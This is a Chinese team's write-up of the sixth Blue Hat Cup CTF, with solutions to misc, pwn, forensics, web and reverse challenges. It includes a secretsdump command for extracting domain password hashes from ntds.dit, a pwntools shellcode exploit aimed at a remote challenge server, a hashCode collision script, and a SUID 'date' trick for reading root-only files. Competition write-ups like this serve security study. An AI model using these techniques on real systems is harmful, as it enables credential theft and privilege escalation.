第六届蓝帽杯WP(总榜第4名)

白帽子社区

共 10315字,需浏览 21分钟

 · 2022-07-11

本文来自“白帽子社区知识星球”

作者:WHT战队



白帽子社区知识星球

加入星球,共同进步


WHT战队招新:


  • WHT战队欢迎对CTF有浓厚兴趣的师傅加入我们。

  • 有半年以上CTF竞赛经验的。

  • 包括但不限于Web、Misc、Reverse、Crypto、Pwn等各方向的CTFer加入。

  • 加分项:有一年以上CTF竞赛经验的各方向CTFer。


    有意向的师傅请扫描二维码联系我们

01

Misc


Misc1 domainhacker2


导出http对象,发现1.rar要密码,一个一个包分析,在第50条流量中找到密码,




看form item中的php代码,"q8fb9d4c082c11"的值从第二位开始进行base64解码,



得到密码为SecretsPassw0rds




解压压缩包,得到flag

Flag:flag{ 416f89c3a5deb1d398a1a1fce93862a7}



Misc2 domainhacker


同第一题一样,先找压缩包密码 

Y2QgL2QgImM6XFxXaW5kb3dzXFxUZW1wIiZyYXIuZXhlIGEgLVBGYWtlUGFzc3dvcmQxMjMkIG50ZHMucmFyIG5ldyZlY2hvIDFkMzYzMiZjZCZlY2hvIDc4YmM0NjJhYg%3D%3D




base64解密,得到压缩包密码




解密ntds.rar压缩包

secretdump.py破解Ntds.dit密码

脚本下载地址:

https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py


安装依赖:pip3 install impacket

运行:


python secretdump.py -security SECURITY -system SYSTEM -ntds ntds.dit -user-status -pwd-last-set -history local > 1.txt




Flag值

flag{07ab403ab740c1540c378b0f5aaa4087}


02

Pwn

PWN2 EscapeShellcode


拿到题目后



程序有五个函数

Init_io 初始化输入输出流



给了一块可执行空间



在这块空间中写了一些deadbeef的东西,后面调试发现是将寄存器全部赋值为deadbeef



Init_flag将flag读到内存中



Sandbox开了沙盒



只能用read、write

Go就是读shellcode然后执行



Flag已经读取到内存中了,但是地址不清楚,所以可以先找到可读的那一页,然后加上flag的偏移,然后write出来

唯一能用的只有rip寄存器的值,所以通过rip寄存器去找可读的页,判断返回值eax的值来确定是否write成功

mov edi, 1lea rsi, [rip-0x400000]and rsi, 0xfffffffff0000000mov edx, 0x50A1:add rsi, 0x1000mov eax, 1syscalltest eax, eaxjng A1


然后加上flag的偏移


from pwn import *


# sh = process("./escape_shellcode")
ip = '39.106.154.121'
port = 15595
sh = remote(ip, port)
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'


sc = '''
mov edi, 1
lea rsi, [rip-0x400000]
and rsi, 0xfffffffff0000000
mov edx, 0x50
A1:
add rsi, 0x1000
mov eax, 1
syscall
test eax, eax
jng A1
add rsi, 0x4120
mov rdx, 0x300
mov edi, 1
mov eax, 1
syscall
'''
print(sc)
pay = asm(sc)
# gdb.attach(sh, 'b *$rebase(0x1367)')
# pause()
sh.sendline(pay)

# sleep(3)
sh.interactive()


flag值:

flag{d299f035-1af2-4815-9c5b-bebf71ed0cd0}


03

电子取证

手机取证1


根据题目描述,搜索627604C2-C586-48C1-AA16-FF33C3022159,导出数据文件



右键熟悉,查看分辨率即可



Flag:360x360


手机取证2


搜索关键词“单号”即可


Flag:SF1142358694796


计算机取证1


利用volitility分析出密文,在somd5解密得到密码

Flag:anxinqi


计算机取证2


Volitility pslist列出进程可以找到magnet-ram-capture程序



Flag:2192


计算机取证3


打开检材,需要BitLocker解密,用取证小程序得到密钥


在重新载入检材,找到渗透看取证PPT和pass.txt


使用passwarekit爆破,得到密码密码为287fuweiuhfiute,打开ppt得到flag




计算机取证4


在做上一题的时候,看到一个意思TrueCrypt的加密文件,导出看


同的可以直接使用passwarekit解密,得到一个新建文本文件-unprotected.txt



然后继续使用取证大师到处,证据分析


得到一个哈哈哈.zip文件,导出

使用ARCHPR 6位数字爆破


得到密码:991314,解压得到flag

flag{1349934913913991394cacacacacacc}


程序分析1


利用appt工具分析得到包名


Flag:exec.azj.kny.d.c


程序分析2


用aapt工具进行分析得到入口类



Flag:minmtta.hemjcbm.ahibyws.MainActivity


程序分析3



Base64解码可以得到一个网址,https://ansjk.ecxeio.xyz



程序分析4


在MainActivity下发现super方法,



跟进,有几个类,在a类中有环境检测的代码



Flag:a


网站取证1


存在后门,用D盾扫



Flag:lanmaobei666


网站取证2


sublime搜索database关键字



查看文件发现password值为一函数返回值,在线php运行得到flag



Flag:KBLT123


网站取证3


金额被加密了,搜索关键字encrypt,找到Channelorder文件,发现是对money加密的,



Flag:jyzg123456


网站取证4


找到王子豪和张宝的ID



收付款是按ID分的



但后面转账的金额在channelorder.php中被加密了,



写解密脚本:


$data="nJ1xlG5v";$str1=base64_decode($data);$len=strlen($str1);$s='';$key = md5('jyzg123456');$char = '';$x=0;$l = strlen($key);for ($i = 0; $i < 32; $i++)       {if ($x == $l)           {$x = 0; }            $char .= $key{$x};            $x++;}for ($i = 0; $i < $len; $i++)       {$s.=chr(ord($str{$i}) - (ord($char{$i})));        echo(ord($str{$i}));        echo "  ";        echo(ord($char{$i}));        echo "";}print($s);?>

在计算税额



根据时间累加金额得到flag

Flag:15758353.7

04

‍web

Ez_gadget


1.下载附件反编译:得到路由


 



2.绕过hashcode:直接写脚本碰撞得到另一个字符串的值,将其加密。

def test(str1):    h = 0    for i in range(len(str1)):        h = 31*h+ord(str1[i])    value = h    result = ""    for i in str1[::-1]:        for j in range(31,128):            if (value-j)%31 ==0:                result+=chr(j)                value = (value-j)//31                break        if value < 128:            result+=chr(j)            break    return result[::-1]print(test(input("key:")))

3.接下来就是绕过fastjsonwaf,通过Unicode编码绕过,然后反弹shell



4.提示说flag.txtroot下,反弹回来的是ctf用户,显然需要提权。查找定时任务,没有发现可以利用的,查找suid文件

find / -perm -u=s -type f 2>/dev/null


5.发现存在date命令可以用来读取文件,得到flag

/bin/date -f /root/flag.txt


05

Rever

Loader


题目提示是载入程序,先查壳:



无壳64位程序,放ida64分析:



主函数很简单独立了一个新的虚拟内存,权限可读可写可执行,作为后面新程序的一个引导,根据后面给的内存地址,将被引导的程序dump下来,运行后发现啥也没有




Exeinfo发现nt头有问题




用010editor打开可以看到pe的文件头和可选头都是i386,主程序是64位,修改文件头和可选头的值




就可以正常运行了



放入ida继续分析,尝试查找字符串定位关键代码,但是交叉引用看不了,于是动调定位到代码:



函数做的一个大数运算,直接建立方程解flag


int sub_852850(){  FILE *v0; // rax  __int64 v1; // rax  __int64 v2; // rdx  _QWORD *v3; // rsi  __int64 v4; // rdi  __int64 v5; // rbx  _QWORD *v6; // rax  _QWORD *v7; // rdi  __int64 v8; // rdx  _QWORD *v9; // rax  unsigned __int64 *v11; // rsi  __int64 v12; // rbx  __int64 v13; // rcx  _QWORD *v14; // rbp  __int64 v15; // rdx  unsigned __int64 v16; // rdi  __int64 v17; // rbx  unsigned __int64 *v18; // rbp  __int64 v19; // rdx  _QWORD *v20; // rax  __int64 v21; // rcx  _QWORD *v22; // rdi  __int64 v23; // rdx  unsigned __int64 v24; // rsi  __int64 v25; // rdi  __int64 v26; // rdx  unsigned __int64 v27; // rcx  __m128i v28; // xmm4  __int64 v29; // rdi  __int64 v30; // rdx  unsigned __int64 v31; // rcx  __m128i v32; // [rsp+20h] [rbp-78h] BYREF  __m128i v33; // [rsp+30h] [rbp-68h] BYREF  __int64 v34; // [rsp+40h] [rbp-58h] BYREF  __int64 v35; // [rsp+48h] [rbp-50h]  __m128i v36; // [rsp+50h] [rbp-48h] BYREF  __int64 v37; // [rsp+60h] [rbp-38h] BYREF  __int64 v38; // [rsp+68h] [rbp-30h]
nimRegisterGlobalMarker(sub_8527A0); nimRegisterGlobalMarker(sub_852790); nimRegisterGlobalMarker(sub_852780); nimRegisterGlobalMarker(sub_852770); nimRegisterGlobalMarker(sub_852760); nimRegisterGlobalMarker(sub_852750); nimRegisterGlobalMarker(sub_852740); nimRegisterGlobalMarker(sub_852730); nimRegisterGlobalMarker(sub_852720); printf_0(off_856DC8, 1i64); // 输出提示“plz input your flag(format: flag{decimal number})” v0 = (FILE *)off_8550C0(0i64); v1 = scanf(v0); v3 = (_QWORD *)v1;if ( v1 ) *(_QWORD *)(v1 - 16) += 8i64;if ( qword_86C1C0 ) { v4 = *(_QWORD *)(qword_86C1C0 - 16); v2 = qword_86C1C0 - 16; *(_QWORD *)(qword_86C1C0 - 16) = v4 - 8;if ( (unsigned __int64)(v4 - 8) <= 7 ) sub_846540(&qword_861F80 + 3, v2); } qword_86C1C0 = (__int64)v3; v5 = 0i64; v6 = (_QWORD *)sub_848FC0(5i64, v2); v7 = v6;if ( !v6 ) {if ( v3 ) sub_84C420(0i64, -1i64); sub_84C420(0i64, -1i64); }if ( !v3 ) {if ( !*v6 ) sub_84C420(0i64, -1i64); sub_84C420(0i64, -1i64); } do {if ( *v6 <= (unsigned __int64)v5 ) sub_84C420(v5, *v6 - 1i64); v8 = *v3;if ( *v3 <= (unsigned __int64)v5 ) sub_84C420(v5, v8 - 1); *((_BYTE *)v6 + v5 + 16) = *((_BYTE *)v3 + v5 + 16); ++v5; } while ( v5 <= 4 );if ( *v6 != 5i64 )goto LABEL_15; v9 = v6 + 2;if ( *((_DWORD *)v7 + 4) != 'galf' )goto LABEL_15;if ( *((_BYTE *)v9 + 4) != '{' )goto LABEL_15; v11 = (unsigned __int64 *)qword_86C1C0;if ( !qword_86C1C0 || *(_QWORD *)qword_86C1C0 != 42i64 || *(_BYTE *)(qword_86C1C0 + 57) != '}' )// 判断flag长度是否为42goto LABEL_15; v12 = 0i64; v14 = (_QWORD *)sub_848FC0(18i64, v8);if ( !v14 ) sub_84C420(0i64, -1i64); do { v15 = *v14;if ( *v14 <= (unsigned __int64)v12 ) sub_84C420(v12, v15 - 1); v16 = v12 + 5;if ( v12 + 5 < 0 || v16 < v12 ) sub_847F70(v13, v15);if ( *v11 <= v16 ) sub_84C420(v12 + 5, *v11 - 1); *((_BYTE *)v14 + v12++ + 16) = *((_BYTE *)v11 + v16 + 16); } while ( v12 <= 17 ); // 以18位进行拆分 v17 = 0i64; sub_851340(v14, 10i64, &xmmword_86C170); v18 = (unsigned __int64 *)qword_86C1C0; v20 = (_QWORD *)sub_848FC0(18i64, v19); v22 = v20;if ( !v20 ) {if ( v18 ) sub_84C420(0i64, -1i64); sub_84C420(0i64, -1i64); }if ( !v18 ) {if ( !*v20 ) sub_84C420(0i64, -1i64); sub_84C420(23i64, -1i64); } do { v23 = *v22;if ( *v22 <= (unsigned __int64)v17 ) sub_84C420(v17, v23 - 1); v24 = v17 + 23;if ( v17 + 23 < 0 || v24 < v17 ) sub_847F70(v21, v23);if ( *v18 <= v24 ) sub_84C420(v17 + 23, *v18 - 1); *((_BYTE *)v22 + v17++ + 16) = *((_BYTE *)v18 + v24 + 16); } while ( v17 <= 17 ); sub_851340(v22, 10i64, &xmmword_86C130); sub_851340(&unk_856D80, 10i64, &xmmword_86C150); sub_851340(&unk_856D40, 10i64, &xmmword_86C160); v33 = _mm_loadu_si128((const __m128i *)&xmmword_86C150); v32 = _mm_loadu_si128((const __m128i *)&xmmword_86C170);// 值对比if ( !(unsigned __int8)sub_852080(&v33, &v32) )goto LABEL_15; v33 = _mm_loadu_si128((const __m128i *)&xmmword_86C170); v32 = _mm_loadu_si128((const __m128i *)&xmmword_86C160);// 值对比if ( !(unsigned __int8)sub_852080(&v33, &v32) )goto LABEL_15; v34 = 0i64; v35 = 0i64; v33 = (__m128i)xmmword_86C170; v32 = (__m128i)xmmword_86C170; sub_851270(&v33, &v32, &v34); v25 = v34;if ( v34 ) *(_QWORD *)(v34 - 16) += 8i64;if ( (_QWORD)xmmword_86C190 ) { v26 = xmmword_86C190 - 16; v27 = *(_QWORD *)(xmmword_86C190 - 16) - 8i64; *(_QWORD *)(xmmword_86C190 - 16) = v27;if ( v27 <= 7 ) sub_846540(&qword_861F80 + 3, v26); } *(_QWORD *)&xmmword_86C190 = v25; v36 = 0ui64; BYTE8(xmmword_86C190) = v35; v33 = (__m128i)xmmword_86C130; v32 = (__m128i)xmmword_86C130; sub_851270(&v33, &v32, &v36); v28 = _mm_load_si128(&v36); v37 = 0i64; v38 = 0i64; v33 = v28; sub_852260(&v33, 11i64, &v37); v29 = v37;if ( v37 ) *(_QWORD *)(v37 - 16) += 8i64;if ( (_QWORD)xmmword_86C120 ) { v30 = xmmword_86C120 - 16; v31 = *(_QWORD *)(xmmword_86C120 - 16) - 8i64; *(_QWORD *)(xmmword_86C120 - 16) = v31;if ( v31 <= 7 ) sub_846540(&qword_861F80 + 3, v30); } *(_QWORD *)&xmmword_86C120 = v29; v33 = _mm_loadu_si128((const __m128i *)&xmmword_86C190); BYTE8(xmmword_86C120) = v38; v32 = _mm_loadu_si128((const __m128i *)&xmmword_86C120); sub_8523C0(&v33, &v32, &xmmword_86C1A0); sub_851340(&unk_856D10, 10i64, &xmmword_86C180); v33 = _mm_loadu_si128((const __m128i *)&xmmword_86C1A0); v32 = _mm_loadu_si128((const __m128i *)&xmmword_86C180);if ( (unsigned __int8)sub_852500(&v33, &v32) ) { qword_85A660 = 1i64; }else {LABEL_15:if ( qword_85A660 != 1 )return printf_0(off_856CC0, 1i64); }return printf_0(off_856CE8, 1i64);}


就是一个佩尔公式这里直接解方程




获得flag:flag{118936021352508390035860559716724409}


如果觉得本文不错的话,欢迎加入知识星球,星球内部设立了多个技术版块,目前涵盖“WEB安全”、“内网渗透”、“CTF技术区”、“漏洞分析”、“工具分享”五大类,还可以与嘉宾大佬们接触,在线答疑、互相探讨。



▼扫码关注白帽子社区公众号&加入知识星球▼


浏览 138
点赞
评论
收藏
分享

手机扫一扫分享

举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

举报